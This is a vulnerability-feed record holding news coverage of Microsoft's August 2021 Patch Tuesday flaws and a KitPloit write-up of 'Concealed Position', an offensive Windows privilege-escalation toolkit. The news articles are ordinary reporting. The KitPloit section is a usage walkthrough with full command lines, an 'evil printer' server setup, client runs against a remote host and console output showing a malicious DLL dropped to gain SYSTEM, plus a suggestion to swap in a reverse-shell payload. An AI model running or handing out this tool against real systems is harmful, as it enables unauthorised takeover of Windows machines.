represents a 56 percent reduction in overall vulnerabilities from July, and 33 percent fewer vulnerabilities on average for each month so far this year. We have also seen a similar reduction in critical vulnerabilities this month, with 30 percent less compared to the monthly average.\u201d\n\n## **Windows Critical Security Vulnerabilities**\n\nThe seven critical bugs [addressed in August](<https://msrc.microsoft.com/update-guide/>) are as follows:\n\n * CVE-2021-26424 \u2013 Windows TCP/IP RCE Vulnerability\n * CVE-2021-26432 \u2013 Windows Services for NFS ONCRPC XDR Driver RCE Vulnerability\n * CVE-2021-34480 \u2013 Scripting Engine Memory Corruption Vulnerability\n * CVE-2021-34530 \u2013 Windows Graphics Component RCE Vulnerability\n * CVE-2021-34534 \u2013 Windows MSHTML Platform RCE Vulnerability\n * CVE-2021-34535 \u2013 Remote Desktop Client RCE Vulnerability\n * CVE-2021-36936 \u2013 Windows Print Spooler RCE Vulnerability\n\nThe bug tracked as **CVE-2021-26424** exists in the TCP/IP protocol stack identified in Windows 7 and newer Microsoft operating systems, including servers.\n\n\u201cDespite its CVSS rating of 9.9, this may prove to be a trivial bug, but it\u2019s still fascinating,\u201d said Dustin Childs of Trend Micro\u2019s Zero Day Initiative (ZDI) in his [Tuesday analysis](<https://www.zerodayinitiative.com/blog/2021/8/10/the-august-2021-security-update-review>). \u201cAn attacker on a guest Hyper-V OS could execute code on the host Hyper-V server by sending a specially crafted IPv6 ping. This keeps it out of the wormable category. Still, a successful attack would allow the guest OS to completely take over the Hyper-V host. While not wormable, it\u2019s still cool to see new bugs in new scenarios being found in protocols that have been around for years.\u201d\n\nThe next bug, **CVE-2021-26432** in Windows Services, is more likely to be exploited given its low complexity status, according to Microsoft\u2019s advisory; it doesn\u2019t require privileges or user interaction to exploit, but Microsoft offered no further details.\n\n\u201cThis may fall into the \u2018wormable\u2019 category, at least between servers with NFS installed, especially since the open network computing remote procedure call (ONCRPC) consists of an External Data Representation (XDR) runtime built on the Winsock Kernel (WSK) interface,\u201d Childs said. \u201cThat certainly sounds like elevated code on a listening network service. Don\u2019t ignore this patch.\u201d\n\nAleks Haugom, product marketing manager at Automox, added, \u201cExploitation results in total loss of confidentiality across all devices managed by the same security authority. Furthermore, attackers can utilize it for denial-of-service attacks or to maliciously modify files. So far, no further details have been divulged by Microsoft or the security researcher (Liubenjin from Codesafe Team of Legendsec at Qi\u2019anxin Group) that discovered this vulnerability. Given the broad potential impact, its label \u2018Exploitation More Likely\u2019 and apparent secrecy, patching should be completed ASAP.\u201d\n\nMeanwhile, the memory-corruption bug (**CVE-2021-34480**) arises from how the scripting engine handles objects in memory, and it also allows RCE. Using a web-based attack or a malicious file, such as a malicious landing page or phishing email, attackers can use this vulnerability to take control of an affected system, install programs, view or change data, or create new user accounts with full user rights.\n\n\u201cCVE-2021-34480 should also be a priority,\u201d Kevin Breen, director of cyber-threat research at Immersive Labs, told Threatpost. \u201cIt is a low score in terms of CVSS, coming in at 6.8, but has been marked by Microsoft as \u2018Exploitation More Likely\u2019 because it is the type of attack commonly used to increase the success rate of spear phishing attacks to gain network access. Simple, but effective.\u201d\n\nThe Windows Graphic Component bug (**CVE-2021-34530**) allows attackers to remotely execute malicious code in the context of the current user, according to Microsoft \u2013 if they can social-engineer a target into opening a specially crafted file.\n\nAnother bug exists in the Windows MSHTML platform, also known as Trident (**CVE-2021-34534**). Trident is the rendering engine (mshtml.dll) used by Internet Explorer. The bug affects many Windows 10 versions (1607, 1809,1909, 2004, 20H2, 21H1) as well as Windows Server 2016 and 2019.\n\nBut while it potentially affects a large number of users, exploitation is not trivial.\n\n\u201cTo exploit, a threat actor would need to pull off a highly complex attack with user interaction \u2013 still entirely possible with the sophisticated attackers of today,\u201d said Peter Pflaster, technical product marketing manager at Automox.\n\nThe bug tracked as **CVE-2021-34535** impacts the Microsoft Remote Desktop Client, Microsoft\u2019s nearly ubiquitous utility for connecting to remote PCs.\n\n\u201cWith today\u2019s highly dispersed workforce, CVE-2021-34535, an RCE vulnerability in Remote Desktop Clients, should be a priority patch,\u201d said Breen. \u201cAttackers increasingly use RDP access as the tip of the spear to gain network access, often combining it with privilege escalation to move laterally. These can be powerful as, depending on the method, it may allow the attacker to authenticate in the network in the same way a user would, making detection difficult.\u201d\n\nIt\u2019s not as dangerous of a bug [as BlueKeep,](<https://threatpost.com/one-million-devices-open-to-wormable-microsoft-bluekeep-flaw/145113/>) according to Childs, which also affected RDP.\n\n\u201cBefore you start having flashbacks to BlueKeep, this bug affects the RDP client and not the RDP server,\u201d he said. \u201cHowever, the CVSS 9.9 bug is nothing to ignore. An attacker can take over a system if they can convince an affected RDP client to connect to an RDP server they control. On Hyper-V servers, a malicious program running in a guest VM could trigger guest-to-host RCE by exploiting this vulnerability in the Hyper-V Viewer. This is the more likely scenario and the reason you should test and deploy this patch quickly.\u201d\n\n## **Windows Print Spooler Bugs \u2013 Again**\n\nThe final critical bug is **CVE-2021-36936**, a Windows Print Spooler RCE bug that\u2019s listed as publicly known.\n\nPrint Spooler made headlines last month, when Microsoft patched what it thought was a minor elevation-of-privilege vulnerability in the service (CVE-2021-1675). But the listing was updated later in the week, after researchers from Tencent and NSFOCUS TIANJI Lab figured out it could be used for RCE \u2013 [requiring a new patch](<https://threatpost.com/microsoft-emergency-patch-printnightmare/167578/>).\n\nIt also disclosed a second bug, similar to PrintNightmare (CVE-2021-34527); and a third, [an EoP issue](<https://threatpost.com/microsoft-unpatched-bug-windows-print-spooler/167855/>) ([CVE-2021-34481](<https://support.microsoft.com/en-us/topic/kb5005652-manage-new-point-and-print-default-driver-installation-behavior-cve-2021-34481-873642bf-2634-49c5-a23b-6d8e9a302872>)).\n\n\u201cAnother month, another remote code-execution bug in the Print Spooler,\u201d said ZDI\u2019s Childs. \u201cThis bug is listed as publicly known, but it\u2019s not clear if this bug is a variant of PrintNightmare or a unique vulnerability all on its own. There are quite a few print-spooler bugs to keep track of. Either way, attackers can use this to execute code on affected systems. Microsoft does state low privileges are required, so that should put this in the non-wormable category, but you should still prioritize testing and deployment of this critical-rated bug.\u201d\n\nThe critical vulnerability is just one of three Print Spooler issues in the August Patch Tuesday release.\n\n\u201cThe specter of the PrintNightmare continues to haunt this patch Tuesday with three more print spooler vulnerabilities, CVE-2021-36947, CVE-2021-36936 and CVE-2021-34481,\u201d said Breen. \u201cAll three are listed as RCE over the network, requiring a low level of access, similar to PrintNightmare. Microsoft has marked these as \u2018Exploitation More Likely\u2019 which, if the previous speed of POC code being published is anything to go by, is certainly true.\u201d\n\n## **RCE Zero-Day in Windows Update Medic Service **\n\nThe actively exploited bug is tracked as **CVE-2021-36948** and is rated as important; it could pave the way for RCE via the Windows Update Medic Service in Windows 10 and Server 2019 and newer operating systems.\n\n\u201cUpdate Medic is a new service that allows users to repair Windows Update components from a damaged state such that the device can continue to receive updates,\u201d Automox\u2019 Jay Goodman explained. \u201cThe exploit is both low complexity and can be exploited without user interaction, making this an easy vulnerability to include in an adversary\u2019s toolbox.\u201d\n\nImmersive\u2019s Breen added, \u201cCVE-2021-36948 is a privilege-escalation vulnerability \u2013 the cornerstone of modern intrusions as they allow attackers the level of access to do things like hide their tracks and create user accounts. In the case of ransomware attacks, they have also been used to ensure maximum damage.\u201d\n\nThough the bug is being reported as being exploited in the wild by Microsoft, activity appears to remain limited or targeted: \u201cWe have seen no evidence of it at Kenna Security at this time,\u201d Jerry Gamblin, director of security research at Kenna Security (now part of Cisco) told Threatpost.\n\n## **Publicly Known Windows LSA Spoofing Bug**\n\nThe second publicly known bug (after the Print Spooler issue covered earlier) is tracked as **CVE-2021-36942**, and it\u2019s an important-rated Windows LSA (Local Security Authority) spoofing vulnerability.\n\n\u201cIt fixes a flaw that could be used to steal NTLM hashes from a domain controller or other vulnerable host,\u201d Immersive\u2019s Breen said. \u201cThese types of attacks are well known for lateral movement and privilege escalation, as has been demonstrated recently by a [new exploit called PetitPotam](<https://threatpost.com/microsoft-petitpotam-poc/168163/>). It is a post-intrusion exploit \u2013 further down the attack chain \u2013 but still a useful tool for attackers.\u201d\n\nChilds offered a bit of context around the bug.\n\n\u201cMicrosoft released this patch to further protect against NTLM relay attacks by issuing this update to block the LSARPC interface,\u201d he said. \u201cThis will impact some systems, notably Windows Server 2008 SP2, that use the EFS API OpenEncryptedFileRawA function. You should apply this to your Domain Controllers first and follow the additional guidance in [ADV210003](<https://msrc.microsoft.com/update-guide/vulnerability/ADV210003>) and [KB5005413](<https://support.microsoft.com/en-us/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429>). This has been an ongoing issue since 2009, and, likely, this isn\u2019t the last we\u2019ll hear of this persistent issue.\u201d\n\nMicrosoft\u2019s next Patch Tuesday will fall on September 14.\n\n![Threatpost Webinar Series ](https://media.threatpost.com/wp-content/uploads/sites/103/2021/07/27093135/threatpost-webinar-300x51.jpg)Worried about where the next attack is coming from? We\u2019ve got your back. **[REGISTER NOW](<https://threatpost.com/webinars/how-to-think-like-a-threat-actor/?utm_source=ART&utm_medium=ART&utm_campaign=August_Uptycs_Webinar>)** for our upcoming live webinar, How to **Think Like a Threat Actor**, in partnership with Uptycs on Aug. 17 at 11 AM EST and find out precisely where attackers are targeting you and how to get there first. Join host Becky Bracken and Uptycs researchers Amit Malik and Ashwin Vamshi on **[Aug. 17 at 11AM EST for this LIVE discussion](<https://threatpost.com/webinars/how-to-think-like-a-threat-actor/?utm_source=ART&utm_medium=ART&utm_campaign=August_Uptycs_Webinar>)**.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-10T21:17:58", "type": "threatpost", "title": "Actively Exploited Windows Zero-Day Gets a Patch", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-26424", "CVE-2021-26432", "CVE-2021-34480", "CVE-2021-34481", "CVE-2021-34527", "CVE-2021-34530", "CVE-2021-34534", "CVE-2021-34535", "CVE-2021-36936", "CVE-2021-36942", "CVE-2021-36947", "CVE-2021-36948"], "modified": "2021-08-10T21:17:58", "id": "THREATPOST:8D4EA8B0593FD44763915E703BC9AB72", "href": "https://threatpost.com/exploited-windows-zero-day-patch/168539/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "krebs": [{"lastseen": "2021-08-21T10:08:03", "description": "**Microsoft** today released software updates to plug at least 44 security vulnerabilities in its **Windows** operating systems and related products. The software giant warned that attackers already are pouncing on one of the flaws, which ironically enough involves an easy-to-exploit bug in the software component responsible for patching **Windows 10** PCs and **Windows Server 2019** machines.\n\n![](https://krebsonsecurity.com/wp-content/uploads/2020/08/windowsec.png)\n\nMicrosoft said attackers have seized upon [CVE-2021-36948](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36948>), which is a weakness in the **Windows Update Medic** service. Update Medic is a new service that lets users repair Windows Update components from a damaged state so that the device can continue to receive updates.\n\nRedmond says while CVE-2021-36948 is being actively exploited, it is not aware of exploit code publicly available. The flaw is an "elevation of privilege" vulnerability that affects Windows 10 and **Windows Server 2019**, meaning it can be leveraged in combination with another vulnerability to let attackers run code of their choice as administrator on a vulnerable system.\n\n"CVE-2021-36948 is a privilege escalation vulnerability - the cornerstone of modern intrusions as they allow attackers the level of access to do things like hide their tracks and create user accounts," said **Kevin Breen** of [Immersive Labs](<https://www.immersivelabs.com>). "In the case of ransomware attacks, they have also been used to ensure maximum damage."\n\nAccording to Microsoft, critical flaws are those that can be exploited remotely by malware or malcontents to take complete control over a vulnerable Windows computer -- and with little to no help from users. Top of the heap again this month: Microsoft also took another stab at fixing a broad class of weaknesses in its printing software.\n\nLast month, the company rushed out an emergency update to patch "[PrintNightmare](<https://krebsonsecurity.com/2021/07/microsoft-issues-emergency-patch-for-windows-flaw/>)" -- a critical hole in its Windows Print Spooler software that was being attacked in the wild. Since then, a number of researchers have discovered holes in that patch, allowing them to circumvent its protections.\n\nToday's Patch Tuesday fixes another critical Print Spooler flaw ([CVE-2021-36936](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36936>)), but it's not clear if this bug is a variant of PrintNightmare or a unique vulnerability all on its own, said **Dustin Childs** at **Trend Micro's Zero Day Initiative**.\n\n"Microsoft does state low privileges are required, so that should put this in the non-wormable category, but you should still prioritize testing and deployment of this Critical-rated bug," Childs said.\n\nMicrosoft said the Print Spooler patch it is pushing today should address all publicly documented security problems with the service.\n\n"Today we are addressing this risk by changing the default Point and Print driver installation and update behavior to require administrator privileges," Microsoft said in a blog post. "This change may impact Windows print clients in scenarios where non-elevated users were previously able to add or update printers. However, we strongly believe that the security risk justifies the change. This change will take effect with the installation of the security updates released on August 10, 2021 for all versions of Windows, and is documented as [CVE-2021-34481](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34481>)."\n\nAugust brings yet another critical patch ([CVE-2021-34535](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34535>)) for the **Windows Remote Desktop** service, and this time the flaw is in the Remote Desktop client instead of the server.\n\n[CVE-2021-26424](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26424>) -- a scary, critical bug in the **Windows TCP/IP** component -- earned a CVSS score of 9.9 (10 is the worst), and is present in **Windows 7** through **Windows 10**, and Windows Server 2008 through 2019 (Windows 7 is no longer being supported with security updates).\n\nMicrosoft said it was not aware of anyone exploiting this bug yet, although the company assigned it the label "exploitation more likely," meaning it may not be difficult for attackers to figure out. CVE-2021-26424 could be exploited by sending a single malicious data packet to a vulnerable system.\n\nFor a complete rundown of all patches released today and indexed by severity, check out the [always-useful Patch Tuesday roundup](<https://isc.sans.edu/forums/diary/Microsoft+August+2021+Patch+Tuesday/27736/>) from the **SANS Internet Storm Center**. And it's not a bad idea to hold off updating for a few days until Microsoft works out any kinks in the updates: [AskWoody.com](<https://www.askwoody.com/2021/defcon-2-august-updates-include-print-spooler-fixes/>) usually has the lowdown on any patches that are causing problems for Windows users.\n\nOn that note, before you update _please_ make sure you have backed up your system and/or important files. It\u2019s not uncommon for a Windows update package to hose one\u2019s system or prevent it from booting properly, and some updates have been known to erase or corrupt files.\n\nSo do yourself a favor and backup before installing any patches. Windows 10 even has some [built-in tools](<https://lifehacker.com/how-to-back-up-your-computer-automatically-with-windows-1762867473>) to help you do that, either on a per-file/folder basis or by making a complete and bootable copy of your hard drive all at once.\n\nAnd if you wish to ensure Windows has been set to pause updating so you can back up your files and/or system before the operating system decides to reboot and install patches on its own schedule, [see this guide](<https://www.computerworld.com/article/3543189/check-to-make-sure-you-have-windows-updates-paused.html>).\n\nIf you experience glitches or problems installing any of these patches this month, please consider leaving a comment about it below; there\u2019s a decent chance other readers have experienced the same and may chime in here with useful tips.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-10T21:12:58", "type": "krebs", "title": "Microsoft Patch Tuesday, August 2021 Edition", "bulletinFamily": "blog", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26424", "CVE-2021-34481", "CVE-2021-34535", "CVE-2021-36936", "CVE-2021-36948"], "modified": "2021-08-10T21:12:58", "id": "KREBS:AE87E964E683A56CFE4E51E96F3530AD", "href": "https://krebsonsecurity.com/2021/08/microsoft-patch-tuesday-august-2021-edition/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "kitploit": [{"lastseen": "2023-06-13T14:58:41", "description": "[![](https://1.bp.blogspot.com/-JMl-654CheQ/YUOLZnQfumI/AAAAAAAAuuQ/JGDFkb4V1iQ5GvRUodx6ZDEecD6q2iZ1gCNcBGAsYHQ/w640-h358/printer_hack.jpeg)](<https://1.bp.blogspot.com/-JMl-654CheQ/YUOLZnQfumI/AAAAAAAAuuQ/JGDFkb4V1iQ5GvRUodx6ZDEecD6q2iZ1gCNcBGAsYHQ/s300/printer_hack.jpeg>)\n\n \n\n\nConcealed Position is a local [privilege escalation](<https://www.kitploit.com/search/label/Privilege%20Escalation> \"privilege escalation\" ) attack against Windows using the concept of \"Bring Your Own Vulnerability\". Specifically, Concealed Position (CP) uses the _as designed_ package point and print logic in Windows that allows a low privilege user to stage and install printer drivers. CP specifically installs drivers with [known vulnerabilities](<https://www.kitploit.com/search/label/Known%20Vulnerabilities> \"known vulnerabilities\" ) which are then exploited to escalate to SYSTEM. Concealed Position was first presented at DEF CON 29.\n\n \n\n\n**What exploits are available** \n\n\nConcealed Position offers four exploits - all with equally dumb names:\n\n * ACIDDAMAGE - [CVE-2021-35449](<https://nvd.nist.gov/vuln/detail/CVE-2021-35449> \"CVE-2021-35449\" ) \\- Lexmark Universal Print Driver LPE\n * RADIANTDAMAGE - [CVE-2021-38085](<https://nvd.nist.gov/vuln/detail/CVE-2021-38085> \"CVE-2021-38085\" ) \\- Canon TR150 Print Driver LPE\n * POISONDAMAGE - [CVE-2019-19363](<https://nvd.nist.gov/vuln/detail/CVE-2019-19363> \"CVE-2019-19363\" ) \\- Ricoh PCL6 Print Driver LPE\n * SLASHINGDAMAGE - [CVE-2020-1300](<https://nvd.nist.gov/vuln/detail/CVE-2020-1300> \"CVE-2020-1300\" ) \\- Windows Print Spooler LPE\n\nThe exploits are neat because, besides SLASHINGDAMAGE, they will continue working even after the issues are patched. The only mechanism Windows has to stop users from using old drivers is to revoke the driver's certificate - something that is not(?) historically done.\n\n \n**But which exploit should I use?!** \n\n\nProbably ACIDDAMAGE. RADIANTDAMAGE and POISONDAMAGE are race conditions (to overwrite a DLL) and SLASHINGDAMAGE damage, hopefully, is patched most everywhere.\n\n \n**How does it work?** \n\n\nConcealed Position has two parts. An evil printer and a client. The client reaches out to the server, grabs a driver, gets the driver stored in the driver store, installs the printer, and exploits the install process. Easy! In MSAPI speak, the attack goes something like this:\n \n \n Step 1: Stage the driver in the driver store \n client to server: GetPrinterDriver \n server to client: Response with driver \n \n Stage 2: Install the driver from the driver store \n client: InstallPrinterDriverFromPackage \n \n Stage 3: Add a local printer (exploitation stage) \n client: Add printer \n \n\nIt is important to note that SLASHINGDAMAGE doesn't actually work like that though. SLASHINGDAMAGE is an implementation of the evil printer attack described at DEFCON 28 (2020) and has long since been patched. I just so happen to enjoy the attack (it sparked the rest of this development) and figured I'd leave the exploit in my evil server... as confusing as that may be.\n\n \n**Is this a Windows vulnerability?** \n\n\nArguably, yes. The driver store is a [\"trusted collection of ... third-party driver packages\"](<https://docs.microsoft.com/en-us/windows-hardware/drivers/install/driver-store> \"trusted collection of ... third-party driver packages\" ) that requires administrator access to modify. Using `GetPrinterDriver` a low privileged attacker can stage arbitrary drivers into the store. This, to me, crosses a clear security boundary.\n\nMicrosoft seemed to agree when they issued [CVE-2021-34481](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34481> \"CVE-2021-34481\" ).\n\nAlthough... it's arguable that this is simply a feature of the system and not a [vulnerability](<https://www.kitploit.com/search/label/Vulnerability> \"vulnerability\" ) at all. It really doesn't matter all that much. An attacker can escalate to SYSTEM on standard Windows installs.\n\n \n**Which verions of Windows are affected by CVE-2021-34481?** \n\n\nAt least Windows 8.1 and above.\n\n \n**How do I use these tools?** \n\n\nSimple! So simple there will be many paragraphs to describe it!\n\n \n**CP Server** \n\n\nFirst, let's look at cp_server's command line options:\n \n \n C:\\Users\\albinolobster\\concealed_position\\build\\x64\\Release\\bin>cp_server.exe \n _______ _______ __ _ _______ _______ _______ ___ _______ ______ \n | || || | | || || || _ || | | || | \n | || _ || |_| || || ___|| |_| || | | ___|| _ | \n | || | | || || || |___ | || | | |___ | | | | \n | _|| |_| || _ || _|| ___|| || |___ | ___|| |_| | \n | |_ | || | | || |_ | |___ | _ || || |___ | | \n |_______||_______||_| |__||_______||_______||__| |__||_______||_______||______| \n _______ _______ _______ ___ _______ ___ _______ __ _ \n | || || || | | || | | || | | | \n | _ || _ || _____|| | |_ _|| | | _ || |_| | \n | |_| || | | || |_____ | | | | | | | | | || | \n | ___|| |_| || _____ || | | | | | | |_| || _ | \n | | | | _____| || | | | | | | || | | | \n |___| |_______||_______||___| |___| |___| |_______||_| |__| server! \n \n CLI options: \n -h, --help Display the help message \n -e, --exploit arg The exploit to use \n -c, --cabs arg (=.\\cab_files) The location of the cabinet files \n \n Exploits available: \n ACIDDAMAGE \n POISONDAMAGE \n RADIANTDAMAGE \n SLASHINGDAMAGE \n \n C:\\Users\\albinolobster\\concealed_position\\build\\x64\\Release\\bin> \n \n\nAbove you can see the server requires two options:\n\n 1. The exploit to configure the printer for\n 2. A path to this repositories cab_files (.\\cab_files\\ is the default)\n\nFor example, let's say we wanted to configure an evil printer that would serve up the ACIDDAMAGE driver. Just do this:\n \n \n C:\\Users\\albinolobster\\concealed_position\\build\\x64\\Release\\bin>cp_server.exe -e ACIDDAMAGE \n _______ _______ __ _ _______ _______ _______ ___ _______ ______ \n | || || | | || || || _ || | | || | \n | || _ || |_| || || ___|| |_| || | | ___|| _ | \n | || | | || || || |___ | || | | |___ | | | | \n | _|| |_| || _ || _|| ___|| || |___ | ___|| |_| | \n | |_ | || | | || |_ | |___ | _ || || |___ | | \n |_______||_______||_| |__||_______||_______||__| |__||_______||_______||______| \n _______ _______ _______ ___ _______ ___ _______ __ _ \n | || || || | | || | | || | | | \n | _ || _ || _____|| | |_ _|| | | _ || |_| | \n | |_| || | | || |_____ | | | | | | | | | || | \n | ___|| |_| ||_____ || | | | | | | |_| || _ | \n | | | | _____| || | | | | | | || | | | \n |___| |_______||_______||___| |___| |___| |_______||_| |__| server! \n \n [+] Creating temporary space... \n [+] Expanding .\\cab_files\\ACIDDAMAGE\\LMUD1o40.cab \n [+] Pushing into the driver store \n [+] Cleaning up tmp space \n [+] Installing print driver \n [+] Driver installed! \n [+] Installing shared printer \n [+] Shared printer installed! \n [+] Automation Done. \n [!] IMPORTANT MANUAL STEPS! \n [0] In Advanced Sharing Settings, Turn off password protected sharing. \n [1] Ready to go! \n \n C:\\Users\\albinolobster\\concealed_position\\build\\x64\\Release\\bin> \n \n\nAnd that's it, you'll see a new printer on your system:\n \n \n PS C:\\Users\\albinolobster\\concealed_position\\build\\x64\\Release\\bin> Get-Printer \n \n Name ComputerName Type DriverName PortName Shared Publishe \n d \n ---- ------------ ---- ---------- -------- ------ -------- \n ACIDDAMAGE Local Lexmark Universal v2 LPT1: True False \n CutePDF Writer Local CutePDF Writer v4.0 CPW4: False False \n OneNote for Windows 10 Local Microsoft Software Pri... Microsoft.Of... False False \n Microsoft XPS Document Writer Local Microsoft XPS Document... PORTPROMPT: False False \n Microsoft Print to PDF Local Microsoft Print To PDF PORTPROMPT: False False \n Fax Local Microsoft Shared Fax D... SHRFAX: False False \n \n \n PS C:\\Users\\albinolobster\\concealed_position\\build\\x64\\Release\\bin> \n \n\nNote that there is one manual step that `cp_server` prompts you to do. Because I'm a junk hacker, I couldn't figure out how to programmatically set the \"Advanced Sharing Settings\" -> \"Turn off password protected sharing\". You'll have to do that yourself!\n\nThe process for using `SLASHINGDAMAGE` is a little different. You'll need to first install CutePDF Writer (find the installers in the 3rd party directory). Then run cp_server and _then_ you'll still need to follow a couple of manual steps and reboot.\n\n \n**CP Client** \n\n\nThe client is similarly easy to use. Let's look at it's command line options:\n \n \n C:\\Users\\albinolobster\\concealed_position\\build\\x64\\Release\\bin>cp_client.exe \n _______ _______ __ _ _______ _______ _______ ___ _______ ______ \n | || || | | || || || _ || | | || | \n | || _ || |_| || || ___|| |_| || | | ___|| _ | \n | || | | || || || |___ | || | | |___ | | | | \n | _|| |_| || _ || _|| ___|| || |___ | ___|| |_| | \n | |_ | || | | || |_ | |___ | _ || || |___ | | \n |_______||_______||_| |__||_______||_______||__| |__||_______||_______||______| \n _______ _______ _______ ___ _______ ___ _______ __ _ \n | || || || | | || | | || | | | \n | _ || _ || _____|| | |_ _|| | | _ || |_| | \n | |_| || | | || |_____ | | | | | | | | | || | \n | ___|| |_| || _____ || | | | | | | |_| || _ | \n | | | | _____| || | | | | | | || | | | \n |___| |_______||_______||___| |___| |___| |_______||_| |__| client! \n \n CLI options: \n -h, --help Display the help message \n -r, --rhost arg The remote evil printer address \n -n, --name arg The remote evil printer name \n -e, --exploit arg The exploit to use \n -l, --local No remote printer. Local attack only. \n -d, --dll arg Path to user provided DLL to execute. \n \n Exploits available: \n ACIDDAMAGE \n POISONDAMAGE \n RADIANTDAMAGE \n \n\nFirst, I'd like to address the --dll option. The client has an embedded payload that will simply write the C:\\result.txt file. However, users can provide their own DLL via this option. A good example of something you might want to use is an x64 reverse shell produced by msfvenom. But for the rest of this we'll just assume the embedded payload.\n\n`cp_client` has two modes: remote and local. The remote option is the most interesting because it adds the [vulnerable driver](<https://www.kitploit.com/search/label/Vulnerable%20Driver> \"vulnerable driver\" ) to the driver store (thus executing the bring your own print driver vulnerability), so we'll go with that first. Let's say I want to connect back to the evil ACIDDAMAGE printer we configured previously. I just need to provide:\n\n 1. The exploit I want to use\n 2. The evil printer IP address\n 3. The name of the evil shared printer\n\nLike this!\n \n \n C:\\Users\\albinolobster\\Desktop>cp_client.exe -r 10.0.0.9 -n ACIDDAMAGE -e ACIDDAMAGE \n _______ _______ __ _ _______ _______ _______ ___ _______ ______ \n | || || | | || || || _ || | | || | \n | || _ || |_| || || ___|| |_| || | | ___|| _ | \n | || | | || || || |___ | || | | |___ | | | | \n | _|| |_| || _ || _|| ___|| || |___ | ___|| |_| | \n | |_ | || | | || |_ | |___ | _ || || |___ | | \n |_______||_______||_| |__||_______||_______||__| |__||_______||_______||______| \n _______ _______ _______ ___ _______ ___ _______ __ _ \n | || || || | | || | | || | | | \n | _ || _ || _____|| | |_ _|| | | _ || |_| | \n | |_| || | | || |_____ | | | | | | | | | || | \n | ___|| |_ | ||_____ || | | | | | | |_| || _ | \n | | | | _____| || | | | | | | || | | | \n |___| |_______||_______||___| |___| |___| |_______||_| |__| client! \n \n [+] Checking if driver is already installed \n [-] Driver is not available. \n [+] Call back to evil printer @ \\\\10.0.0.9\\ACIDDAMAGE \n [+] Staging driver in driver store \n [+] Installing the staged driver \n [+] Driver installed! \n [+] Starting AcidDamage \n [+] Checking if C:\\ProgramData\\Lexmark Universal v2\\ exists \n [-] Target directory doesn't exist. Trigger install. \n [+] Installing printer \n [+] Read in C:\\ProgramData\\Lexmark Universal v2\\Universal Color Laser.gdl \n [+] Searching file contents \n [+] Updating file contents \n [+] Dropping updated gpl \n [+] Dropping Dll.dll to disk \n [+] Staging dll in c:\\tmp \n [+] Installing printer \n [!] Mucho success! \n \n\nThat's it! To execute a local only attack, you just need to provide the exploit:\n \n \n C:\\Users\\albinolobster\\concealed_position\\build\\x64\\Release\\bin>cp_client.exe -l -e ACIDDAMAGE \n _______ _______ __ _ _______ _______ _______ ___ _______ ______ \n | || || | | || || || _ || | | || | \n | || _ || |_| || || ___|| |_| || | | ___|| _ | \n | || | | || || || |___ | || | | |___ | | | | \n | _|| |_| || _ || _|| ___|| || |___ | ___|| |_| | \n | |_ | || | | || |_ | |___ | _ || || |___ | | \n |_______||_______||_| |__||_______||_______||__| |__||_______||_______||______| \n _______ _______ _______ ___ _______ ___ _______ __ _ \n | || || || | | || | | || | | | \n | _ || _ || _____|| | |_ _|| | | _ || |_| | \n | |_| || | | || |_____ | | | | | | | | | || | \n | ___|| |_| ||_____ || | | | | | | |_| || _ | \n | | | | _____| || | | | | | | || | | | \n |___| |_______||_______||___| |___| |___| |_______||_| |__| client! \n \n [+] Checking if driver is already installed \n [+] Driver installed! \n [+] Starting AcidDamage \n [+] Checking if C:\\ProgramData\\Lexmark Universal v2\\ exists \n [-] Target directory doesn't exist. Trigger install. \n [+] Installing printer \n [+] Read in C:\\ProgramData\\Lexmark Universal v2\\Universal Color Laser.gdl \n [+] Searching file contents \n [+] Updating file contents \n [+] Dropping updated gpl \n [+] Dropping Dll.dll to disk \n [+] Staging dll in c:\\tmp \n [+] Installing printer \n [!] Mucho success! \n \n 